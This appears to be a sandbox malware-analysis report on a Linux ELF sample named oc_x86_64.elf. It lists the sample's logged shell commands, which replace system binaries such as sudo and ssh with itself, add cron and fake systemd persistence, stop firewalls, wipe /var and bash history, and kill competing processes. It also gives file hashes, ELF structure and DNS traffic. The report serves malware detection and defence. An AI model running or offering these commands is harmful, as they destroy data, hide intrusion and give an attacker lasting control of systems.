Source: /tmp/oc_x86_64.elf (PID: 5549)	Shell command executed: sh -c "history -w"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5551)	Shell command executed: sh -c "mv /usr/bin/sudo /usr/bin/sudooc"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5557)	Shell command executed: sh -c "mv /usr/bin/top /usr/bin/topoc"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5561)	Shell command executed: sh -c "mv /usr/bin/find /usr/bin/findoc"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5567)	Shell command executed: sh -c "mv /usr/bin/ssh /usr/bin/sshoc"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5571)	Shell command executed: sh -c "mv /usr/bin/wget /usr/bin/wgetoc"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5575)	Shell command executed: sh -c "mv /usr/bin/head /usr/bin/headoc"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5581)	Shell command executed: sh -c "mv /usr/bin/tail /usr/bin/tailoc"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5585)	Shell command executed: sh -c "mv /usr/bin/man /usr/bin/manoc"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5591)	Shell command executed: sh -c "mv /usr/bin/lsof /usr/bin/lsofoc"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5595)	Shell command executed: sh -c "mv /usr/bin/awk /usr/bin/awkoc"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5599)	Shell command executed: sh -c "mv /usr/bin/wc /usr/bin/wcoc"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5603)	Shell command executed: sh -c "mv /usr/bin/du /usr/bin/duoc"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5608)	Shell command executed: sh -c "mv /usr/bin/ss /usr/bin/ssoc"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5615)	Shell command executed: sh -c "mv /usr/bin/ps /usr/bin/psoc"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5639)	Shell command executed: sh -c "mv /usr/bin/netstat /usr/bin/netstatoc"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5646)	Shell command executed: sh -c "cp /tmp/oc_x86_64.elf (deleted) /boot/systems.d"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5648)	Shell command executed: sh -c "cp /tmp/oc_x86_64.elf (deleted) /boot/System.imgx.config"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5650)	Shell command executed: sh -c "cp /tmp/oc_x86_64.elf (deleted) /etc/id.oc1337.conf"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5652)	Shell command executed: sh -c "cp /tmp/oc_x86_64.elf (deleted) /tmp/systems"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5654)	Shell command executed: sh -c "cp /tmp/oc_x86_64.elf (deleted) /usr/bin/sudo"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5655)	Shell command executed: sh -c "cp /tmp/oc_x86_64.elf (deleted) /usr/bin/du"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5657)	Shell command executed: sh -c "cp /tmp/oc_x86_64.elf (deleted) /usr/bin/find"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5659)	Shell command executed: sh -c "cp /tmp/oc_x86_64.elf (deleted) /usr/bin/lsof"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5662)	Shell command executed: sh -c "cp /tmp/oc_x86_64.elf (deleted) /usr/bin/awk"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5664)	Shell command executed: sh -c "cp /tmp/oc_x86_64.elf (deleted) /usr/bin/wc"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5668)	Shell command executed: sh -c "cp /tmp/oc_x86_64.elf (deleted) /usr/bin/head"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5669)	Shell command executed: sh -c "cp /tmp/oc_x86_64.elf (deleted) /usr/bin/tail"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5670)	Shell command executed: sh -c "cp /tmp/oc_x86_64.elf (deleted) /usr/bin/man"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5672)	Shell command executed: sh -c "cp /tmp/oc_x86_64.elf (deleted) /usr/bin/wget"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5675)	Shell command executed: sh -c "cp /tmp/oc_x86_64.elf (deleted) /usr/bin/ssh"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5676)	Shell command executed: sh -c "cp /tmp/oc_x86_64.elf (deleted) /usr/bin/top"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5677)	Shell command executed: sh -c "cp /tmp/oc_x86_64.elf (deleted) /usr/bin/ss"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5678)	Shell command executed: sh -c "cp /tmp/oc_x86_64.elf (deleted) /usr/bin/ps"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5679)	Shell command executed: sh -c "cp /tmp/oc_x86_64.elf (deleted) /usr/bin/netstat"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5682)	Shell command executed: sh -c "chmod +x /etc/init.d/nginnx"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5688)	Shell command executed: sh -c "chmod +x /etc/octopus"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5690)	Shell command executed: sh -c "(crontab -l 2>/dev/null; echo \"@reboot /boot/systems.d\") \| crontab -"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5695)	Shell command executed: sh -c "echo '* * * * * root /bin/bash /dev/octopus' > /etc/cron.d/scriptd"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5697)	Shell command executed: sh -c "systemctl daemon-reload;systemctl enable nginnx.service;systemctl start nginnx.service;sh -c systemctl daemon-reload;systemctl enable nginnx"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5813)	Shell command executed: sh -c "chmod +x /dev/ocmount"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5816)	Shell command executed: sh -c "echo '* * * * * root /bin/bash /dev/ocmount' > /etc/cron.d/mount.sh"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5817)	Shell command executed: sh -c /dev/ocmount	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5552)	Shell command executed: sh -c "mv /usr/bin/sudo /usr/bin/sudooc"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5555)	Shell command executed: sh -c "mv /usr/bin/top /usr/bin/topoc"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5559)	Shell command executed: sh -c "mv /usr/bin/find /usr/bin/findoc"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5562)	Shell command executed: sh -c "mv /usr/bin/ssh /usr/bin/sshoc"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5565)	Shell command executed: sh -c "mv /usr/bin/wget /usr/bin/wgetoc"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5569)	Shell command executed: sh -c "mv /usr/bin/head /usr/bin/headoc"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5572)	Shell command executed: sh -c "mv /usr/bin/tail /usr/bin/tailoc"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5576)	Shell command executed: sh -c "mv /usr/bin/man /usr/bin/manoc"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5579)	Shell command executed: sh -c "mv /usr/bin/lsof /usr/bin/lsofoc"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5583)	Shell command executed: sh -c "mv /usr/bin/awk /usr/bin/awkoc"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5586)	Shell command executed: sh -c "mv /usr/bin/wc /usr/bin/wcoc"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5589)	Shell command executed: sh -c "mv /usr/bin/du /usr/bin/duoc"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5593)	Shell command executed: sh -c "mv /usr/bin/ss /usr/bin/ssoc"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5596)	Shell command executed: sh -c "mv /usr/bin/ps /usr/bin/psoc"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5601)	Shell command executed: sh -c "mv /usr/bin/netstat /usr/bin/netstatoc"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5605)	Shell command executed: sh -c "cp /tmp/oc_x86_64.elf (deleted) /boot/systems.d"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5606)	Shell command executed: sh -c "cp /tmp/oc_x86_64.elf (deleted) /boot/System.imgx.config"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5607)	Shell command executed: sh -c "cp /tmp/oc_x86_64.elf (deleted) /etc/id.oc1337.conf"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5609)	Shell command executed: sh -c "cp /tmp/oc_x86_64.elf (deleted) /tmp/systems"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5611)	Shell command executed: sh -c "cp /tmp/oc_x86_64.elf (deleted) /usr/bin/sudo"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5612)	Shell command executed: sh -c "cp /tmp/oc_x86_64.elf (deleted) /usr/bin/du"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5613)	Shell command executed: sh -c "cp /tmp/oc_x86_64.elf (deleted) /usr/bin/find"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5614)	Shell command executed: sh -c "cp /tmp/oc_x86_64.elf (deleted) /usr/bin/lsof"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5619)	Shell command executed: sh -c "cp /tmp/oc_x86_64.elf (deleted) /usr/bin/awk"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5638)	Shell command executed: sh -c "cp /tmp/oc_x86_64.elf (deleted) /usr/bin/wc"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5640)	Shell command executed: sh -c "cp /tmp/oc_x86_64.elf (deleted) /usr/bin/head"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5642)	Shell command executed: sh -c "cp /tmp/oc_x86_64.elf (deleted) /usr/bin/tail"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5643)	Shell command executed: sh -c "cp /tmp/oc_x86_64.elf (deleted) /usr/bin/man"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5644)	Shell command executed: sh -c "cp /tmp/oc_x86_64.elf (deleted) /usr/bin/wget"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5645)	Shell command executed: sh -c "cp /tmp/oc_x86_64.elf (deleted) /usr/bin/ssh"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5647)	Shell command executed: sh -c "cp /tmp/oc_x86_64.elf (deleted) /usr/bin/top"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5649)	Shell command executed: sh -c "cp /tmp/oc_x86_64.elf (deleted) /usr/bin/ss"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5651)	Shell command executed: sh -c "cp /tmp/oc_x86_64.elf (deleted) /usr/bin/ps"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5653)	Shell command executed: sh -c "cp /tmp/oc_x86_64.elf (deleted) /usr/bin/netstat"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5656)	Shell command executed: sh -c "chmod +x /etc/init.d/nginnx"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5660)	Shell command executed: sh -c "chmod +x /etc/octopus"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5663)	Shell command executed: sh -c "(crontab -l 2>/dev/null; echo \"@reboot /boot/systems.d\") \| crontab -"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5671)	Shell command executed: sh -c "echo '* * * * * root /bin/bash /dev/octopus' > /etc/cron.d/scriptd"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5673)	Shell command executed: sh -c "systemctl daemon-reload;systemctl enable nginnx.service;systemctl start nginnx.service;sh -c systemctl daemon-reload;systemctl enable nginnx"	Jump to behavior
Source: /tmp/oc_x86_64.elf (PID: 5748)	Shell command executed: sh -c "chmod +x /dev/ocmount"
Source: /tmp/oc_x86_64.elf (PID: 5777)	Shell command executed: sh -c "echo '* * * * * root /bin/bash /dev/ocmount' > /etc/cron.d/mount.sh"
Source: /tmp/oc_x86_64.elf (PID: 5784)	Shell command executed: sh -c /dev/ocmount

Source: /bin/sh (PID: 5686)	Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/nginnx	Jump to behavior
Source: /bin/sh (PID: 5689)	Chmod executable: /usr/bin/chmod -> chmod +x /etc/octopus	Jump to behavior
Source: /bin/sh (PID: 5815)	Chmod executable: /usr/bin/chmod -> chmod +x /dev/ocmount	Jump to behavior
Source: /bin/sh (PID: 5658)	Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/nginnx	Jump to behavior
Source: /bin/sh (PID: 5661)	Chmod executable: /usr/bin/chmod -> chmod +x /etc/octopus	Jump to behavior
Source: /bin/sh (PID: 5774)	Chmod executable: /usr/bin/chmod -> chmod +x /dev/ocmount

Source: /bin/sh (PID: 5506)	Pkill executable: /usr/bin/pkill -> pkill -9 busybox	Jump to behavior
Source: /bin/sh (PID: 5513)	Pkill executable: /usr/bin/pkill -> pkill -9 perl	Jump to behavior
Source: /bin/sh (PID: 5521)	Pkill executable: /usr/bin/pkill -> pkill -9 python	Jump to behavior

Source: /bin/sh (PID: 5492)	Rm executable: /usr/bin/rm -> rm -rf /tmp/config-err-jFiNWb /tmp/dmesgtail.log /tmp/hsperfdata_root /tmp/oc_x86_64.elf /tmp/snap-private-tmp /tmp/snap.lxd /tmp/ssh-qf3lAyPpWVCU /tmp/systemd-private-aa7ef13c7a2d44d8a04d54e61953176a-ModemManager.service-OhEyzg /tmp/systemd-private-aa7ef13c7a2d44d8a04d54e61953176a-colord.service-8ySu1e /tmp/systemd-private-aa7ef13c7a2d44d8a04d54e61953176a-fwupd.service-LnNSgh /tmp/systemd-private-aa7ef13c7a2d44d8a04d54e61953176a-switcheroo-control.service-ol8bni /tmp/systemd-private-aa7ef13c7a2d44d8a04d54e61953176a-systemd-logind.service-LPFY4g /tmp/systemd-private-aa7ef13c7a2d44d8a04d54e61953176a-systemd-resolved.service-O3uVvg /tmp/systemd-private-aa7ef13c7a2d44d8a04d54e61953176a-systemd-timedated.service-bx1kOg /tmp/systemd-private-aa7ef13c7a2d44d8a04d54e61953176a-upower.service-CBTCVe /tmp/vmware-root_726-2957583432 /var/backups /var/cache /var/crash /var/lib /var/local /var/lock /var/log /var/mail /var/metrics /var/opt /var/run /var/snap /var/spool /var/tmp /var/run/NetworkManager /var/run/acpid.pid /var/run/acpid.socket /var/run/apport.lock /var/run/avahi-daemon /var/run/blkid /var/run/cloud-init /var/run/console-setup /var/run/crond.pid /var/run/crond.reboot /var/run/cryptsetup /var/run/cups /var/run/dbus /var/run/dmeventd-client /var/run/dmeventd-server /var/run/gdm3 /var/run/gdm3.pid /var/run/initctl /var/run/initramfs /var/run/irqbalance /var/run/lock /var/run/log /var/run/lvm /var/run/mono-xsp4 /var/run/mono-xsp4.pid /var/run/motd.d /var/run/mount /var/run/multipathd.pid /var/run/netns /var/run/network /var/run/screen /var/run/sendsigs.omit.d /var/run/shm /var/run/snapd /var/run/snapd-snap.socket /var/run/snapd.socket /var/run/speech-dispatcher /var/run/spice-vdagentd /var/run/sshd /var/run/sshd.pid /var/run/sudo /var/run/systemd /var/run/tmpfiles.d /var/run/udev /var/run/udisks2 /var/run/user /var/run/utmp /var/run/uuidd /var/run/vmware /var/tmp/systemd-private-aa7ef13c7a2d44d8a04d54e61953176a-ModemManager.service-K5j1Of /var/tmp/systemd-private-aa7ef13c7a2d44d8a04d54e61953176a-colord.service-sPszWi /var/tmp/systemd-private-aa7ef13c7a2d44d8a04d54e61953176a-fwupd.service-tNkLag /var/tmp/systemd-private-aa7ef13c7a2d44d8a04d54e61953176a-switcheroo-control.service-EvKsMg /var/tmp/systemd-private-aa7ef13c7a2d44d8a04d54e61953176a-systemd-logind.service-0DTUmj /var/tmp/systemd-private-aa7ef13c7a2d44d8a04d54e61953176a-systemd-resolved.service-fe4hsi /var/tmp/systemd-private-aa7ef13c7a2d44d8a04d54e61953176a-systemd-timedated.service-B126Ih /var/tmp/systemd-private-aa7ef13c7a2d44d8a04d54e61953176a-upower.service-Lb1VUf /var/log/wtmp	Jump to behavior
Source: /bin/sh (PID: 5499)	Rm executable: /usr/bin/rm -> rm -rf /tmp/*	Jump to behavior
Source: /bin/sh (PID: 5548)	Rm executable: /usr/bin/rm -> rm -rf /root/.bash_history	Jump to behavior

Source: /usr/sbin/service (PID: 5525)	Systemctl executable: /usr/bin/systemctl -> systemctl stop iptables.service	Jump to behavior
Source: /usr/sbin/service (PID: 5528)	Systemctl executable: /usr/bin/systemctl -> systemctl --quiet is-active multi-user.target	Jump to behavior
Source: /usr/sbin/service (PID: 5530)	Systemctl executable: /usr/bin/systemctl -> systemctl list-unit-files --full --type=socket	Jump to behavior
Source: /usr/sbin/service (PID: 5537)	Systemctl executable: /usr/bin/systemctl -> systemctl stop firewall.service	Jump to behavior
Source: /usr/sbin/service (PID: 5540)	Systemctl executable: /usr/bin/systemctl -> systemctl --quiet is-active multi-user.target	Jump to behavior
Source: /usr/sbin/service (PID: 5542)	Systemctl executable: /usr/bin/systemctl -> systemctl list-unit-files --full --type=socket	Jump to behavior
Source: /bin/sh (PID: 5698)	Systemctl executable: /usr/bin/systemctl -> systemctl daemon-reload	Jump to behavior
Source: /bin/sh (PID: 5704)	Systemctl executable: /usr/bin/systemctl -> systemctl enable nginnx.service	Jump to behavior
Source: /usr/sbin/update-rc.d (PID: 5714)	Systemctl executable: /usr/bin/systemctl -> systemctl daemon-reload	Jump to behavior
Source: /bin/sh (PID: 5724)	Systemctl executable: /usr/bin/systemctl -> systemctl start nginnx.service	Jump to behavior
Source: /usr/bin/sh (PID: 5733)	Systemctl executable: /usr/bin/systemctl -> systemctl	Jump to behavior
Source: /bin/sh (PID: 5740)	Systemctl executable: /usr/bin/systemctl -> systemctl enable nginnx	Jump to behavior
Source: /usr/sbin/update-rc.d (PID: 5803)	Systemctl executable: /usr/bin/systemctl -> systemctl daemon-reload	Jump to behavior
Source: /bin/sh (PID: 5674)	Systemctl executable: /usr/bin/systemctl -> systemctl daemon-reload	Jump to behavior
Source: /bin/sh (PID: 5687)	Systemctl executable: /usr/bin/systemctl -> systemctl enable nginnx.service	Jump to behavior
Source: /usr/sbin/update-rc.d (PID: 5700)	Systemctl executable: /usr/bin/systemctl -> systemctl daemon-reload	Jump to behavior
Source: /bin/sh (PID: 5711)	Systemctl executable: /usr/bin/systemctl -> systemctl start nginnx.service
Source: /usr/bin/sh (PID: 5716)	Systemctl executable: /usr/bin/systemctl -> systemctl
Source: /bin/sh (PID: 5723)	Systemctl executable: /usr/bin/systemctl -> systemctl enable nginnx
Source: /usr/sbin/update-rc.d (PID: 5730)	Systemctl executable: /usr/bin/systemctl -> systemctl daemon-reload

Source: /bin/sh (PID: 5695)	Crontab like entry written: /etc/cron.d/scriptd
Source: /bin/sh (PID: 5816)	Crontab like entry written: /etc/cron.d/mount.sh
Source: /bin/sh (PID: 5671)	Crontab like entry written: /etc/cron.d/scriptd	Jump to dropped file
Source: /bin/sh (PID: 5777)	Crontab like entry written: /etc/cron.d/mount.sh	Jump to dropped file

Source: /usr/sbin/service (PID: 5531)	Sed executable: /usr/bin/sed -> sed -ne s/\\.socket\\s[a-z]\\s*$/.socket/p			Jump to behavior
Source: /usr/sbin/service (PID: 5543)	Sed executable: /usr/bin/sed -> sed -ne s/\\.socket\\s[a-z]\\s*$/.socket/p			Jump to behavior

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report oc_x86_64.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Bitcoin Miner

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/dev/ocmount

/dev/octopus

/etc/cron.d/mount.sh

/etc/cron.d/scriptd

/etc/init.d/nginnx

/etc/octopus

/etc/systemd/system/nginnx.service

/memfd:snapd-env-generator (deleted)

/proc/sys/vm/drop_caches

/usr/lib/systemd/system/nginnx.service

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Dynamic Tags

Symbols

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

System Behavior

Linux Analysis Report
oc_x86_64.elf

File type:	ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), static-pie linked, stripped
Entropy (8bit):	6.12145871786115
TrID:	ELF Executable and Linkable format (generic) (4004/1) 98.45% Lumena CEL bitmap (63/63) 1.55%
File name:	oc_x86_64.elf
File size:	159'864 bytes
MD5:	eb3ad86638ce51148233baedf0736975
SHA1:	040d2795332ff85a2917d634e280084171c1a065
SHA256:	38c1a5ce08bcd3c1ec8087cd6de5c43536379ebc35d8e85cef47b994db1237fa
SHA512:	9311f7eabc8262d675e64acc03d2652d2b43b3530eb846d70a0695a9cc5e508f1d9f77c8cc58ecb8ad7e9fb9f50e08631edc09d240d145669aa86b7ebd2177a2
SSDEEP:	3072:Vv24oHc3vrMpx754LCytEdJZSwAzxK33Mb4ZRdE5:E4oHcYpxNh3SvoMbY+
TLSH:	5BF33915B20250FDC47AC6F4471FE526FB35B8661210BB6B27C6BD762F22E225B35382
File Content Preview:	.ELF..............>......+......@.......8k..........@.8...@.....................................L:......L:........ .............p\......p\".....p\".....$................. .............@^......@^".....@^"....................................................

ELF header
Class:	ELF64
Data:	2's complement, little endian
Version:	1 (current)
Machine:	Advanced Micro Devices X86-64
Version Number:	0x1
Type:	DYN (Shared object file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x2be6
Flags:	0x0
ELF Header Size:	64
Program Header Offset:	64
Program Header Size:	56
Number of Program Headers:	7
Section Header Offset:	158520
Section Header Size:	64
Number of Section Headers:	21
Header String Table Index:	20

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Link	Info	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0	0	0
.note.gnu.property	NOTE	0x200	0x200	0x30	0x0	0x2	A	0	0	8
.hash	HASH	0x230	0x230	0x10	0x4	0x2	A	4	0	8
.gnu.hash	GNU_HASH	0x240	0x240	0x1c	0x0	0x2	A	4	0	8
.dynsym	DYNSYM	0x260	0x260	0x18	0x18	0x2	A	5	1	8
.dynstr	STRTAB	0x278	0x278	0x1	0x0	0x2	A	0	0	1
.rela.dyn	RELA	0x280	0x280	0x1d40	0x18	0x2	A	4	0	8
.init	PROGBITS	0x1fc0	0x1fc0	0x3	0x0	0x6	AX	0	0	1
.plt	PROGBITS	0x1fd0	0x1fd0	0x10	0x10	0x6	AX	0	0	16
.plt.got	PROGBITS	0x1fe0	0x1fe0	0x18	0x8	0x6	AX	0	0	8
.text	PROGBITS	0x2000	0x2000	0x1d634	0x0	0x6	AX	0	0	16
.fini	PROGBITS	0x1f634	0x1f634	0x3	0x0	0x6	AX	0	0	1
.rodata	PROGBITS	0x1f640	0x1f640	0x440c	0x0	0x2	A	0	0	32
.init_array	INIT_ARRAY	0x225c70	0x25c70	0x8	0x8	0x3	WA	0	0	8
.fini_array	FINI_ARRAY	0x225c78	0x25c78	0x8	0x8	0x3	WA	0	0	8
.data.rel.ro	PROGBITS	0x225c80	0x25c80	0x1c0	0x0	0x3	WA	0	0	32
.dynamic	DYNAMIC	0x225e40	0x25e40	0x180	0x10	0x3	WA	5	0	8
.got	PROGBITS	0x225fc0	0x25fc0	0x30	0x8	0x3	WA	0	0	8
.data	PROGBITS	0x226020	0x26020	0xa74	0x0	0x3	WA	0	0	32
.bss	NOBITS	0x226aa0	0x26a94	0x8e8	0x0	0x3	WA	0	0	32
.shstrtab	STRTAB	0x0	0x26a94	0xa3	0x0	0x0		0	0	1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x0	0x0	0x23a4c	0x23a4c	6.4325	0x5	R E	0x200000	.note.gnu.property .hash .gnu.hash .dynsym .dynstr .rela.dyn .init .plt .plt.got .text .fini .rodata
LOAD	0x25c70	0x225c70	0x225c70	0xe24	0x1718	2.4786	0x6	RW	0x200000	.init_array .fini_array .data.rel.ro .dynamic .got .data .bss
DYNAMIC	0x25e40	0x225e40	0x225e40	0x180	0x180	1.4292	0x6	RW	0x8	.dynamic
NOTE	0x200	0x200	0x200	0x30	0x30	1.9442	0x4	R	0x8	.note.gnu.property
GNU_PROPERTY	0x200	0x200	0x200	0x30	0x30	1.9442	0x4	R	0x8	.note.gnu.property
GNU_EH_FRAME	0x0	0x23a4c	0x0	0x0	0x0	0.0000	0x4	R	0x8
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x8

Type	Meta	Value	Tag
DT_INIT	value	0x1fc0	0xc
DT_FINI	value	0x1f634	0xd
DT_INIT_ARRAY	value	0x225c70	0x19
DT_INIT_ARRAYSZ	bytes	8	0x1b
DT_FINI_ARRAY	value	0x225c78	0x1a
DT_FINI_ARRAYSZ	bytes	8	0x1c
DT_HASH	value	0x230	0x4
DT_GNU_HASH	value	0x240	0x6ffffef5
DT_STRTAB	value	0x278	0x5
DT_SYMTAB	value	0x260	0x6
DT_STRSZ	bytes	1	0xa
DT_SYMENT	bytes	24	0xb
DT_DEBUG	value	0x0	0x15
DT_PLTGOT	value	0x226000	0x3
DT_RELA	value	0x280	0x7
DT_RELASZ	bytes	7488	0x8
DT_RELAENT	bytes	24	0x9
DT_FLAGS_1	value	0x8000000	0x6ffffffb
DT_RELACOUNT	value	312	0x6ffffff9
DT_NULL	value	0x0	0x0

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 17, 2024 11:52:01.783405066 CEST	35655	53	192.168.2.14	195.10.195.195
Aug 17, 2024 11:52:01.791652918 CEST	53	35655	195.10.195.195	192.168.2.14
Aug 17, 2024 11:52:06.956144094 CEST	59497	53	192.168.2.14	195.10.195.195
Aug 17, 2024 11:52:06.963258028 CEST	53	59497	195.10.195.195	192.168.2.14
Aug 17, 2024 11:52:08.016937017 CEST	55001	53	192.168.2.14	195.10.195.195
Aug 17, 2024 11:52:08.024629116 CEST	53	55001	195.10.195.195	192.168.2.14
Aug 17, 2024 11:52:09.065152884 CEST	52795	53	192.168.2.14	195.10.195.195
Aug 17, 2024 11:52:09.072263002 CEST	53	52795	195.10.195.195	192.168.2.14
Aug 17, 2024 11:52:11.230510950 CEST	50123	53	192.168.2.14	195.10.195.195
Aug 17, 2024 11:52:11.237879992 CEST	53	50123	195.10.195.195	192.168.2.14
Aug 17, 2024 11:52:13.408214092 CEST	44042	53	192.168.2.14	195.10.195.195
Aug 17, 2024 11:52:13.415477037 CEST	53	44042	195.10.195.195	192.168.2.14
Aug 17, 2024 11:52:14.430669069 CEST	45276	53	192.168.2.14	195.10.195.195
Aug 17, 2024 11:52:14.439986944 CEST	53	45276	195.10.195.195	192.168.2.14
Aug 17, 2024 11:52:15.489620924 CEST	53814	53	192.168.2.14	195.10.195.195
Aug 17, 2024 11:52:15.496697903 CEST	53	53814	195.10.195.195	192.168.2.14
Aug 17, 2024 11:52:17.516777039 CEST	60534	53	192.168.2.14	195.10.195.195
Aug 17, 2024 11:52:17.524605036 CEST	53	60534	195.10.195.195	192.168.2.14
Aug 17, 2024 11:52:18.580758095 CEST	41939	53	192.168.2.14	195.10.195.195
Aug 17, 2024 11:52:18.588217974 CEST	53	41939	195.10.195.195	192.168.2.14
Aug 17, 2024 11:52:20.613817930 CEST	53654	53	192.168.2.14	195.10.195.195
Aug 17, 2024 11:52:20.621486902 CEST	53	53654	195.10.195.195	192.168.2.14
Aug 17, 2024 11:52:22.673103094 CEST	52742	53	192.168.2.14	195.10.195.195
Aug 17, 2024 11:52:22.679970980 CEST	53	52742	195.10.195.195	192.168.2.14
Aug 17, 2024 11:52:23.710582972 CEST	36139	53	192.168.2.14	195.10.195.195
Aug 17, 2024 11:52:23.718274117 CEST	53	36139	195.10.195.195	192.168.2.14
Aug 17, 2024 11:52:25.769582033 CEST	51377	53	192.168.2.14	195.10.195.195
Aug 17, 2024 11:52:25.777205944 CEST	53	51377	195.10.195.195	192.168.2.14
Aug 17, 2024 11:52:27.834786892 CEST	39467	53	192.168.2.14	195.10.195.195
Aug 17, 2024 11:52:27.842335939 CEST	53	39467	195.10.195.195	192.168.2.14
Aug 17, 2024 11:52:28.861840963 CEST	34594	53	192.168.2.14	195.10.195.195
Aug 17, 2024 11:52:28.869216919 CEST	53	34594	195.10.195.195	192.168.2.14
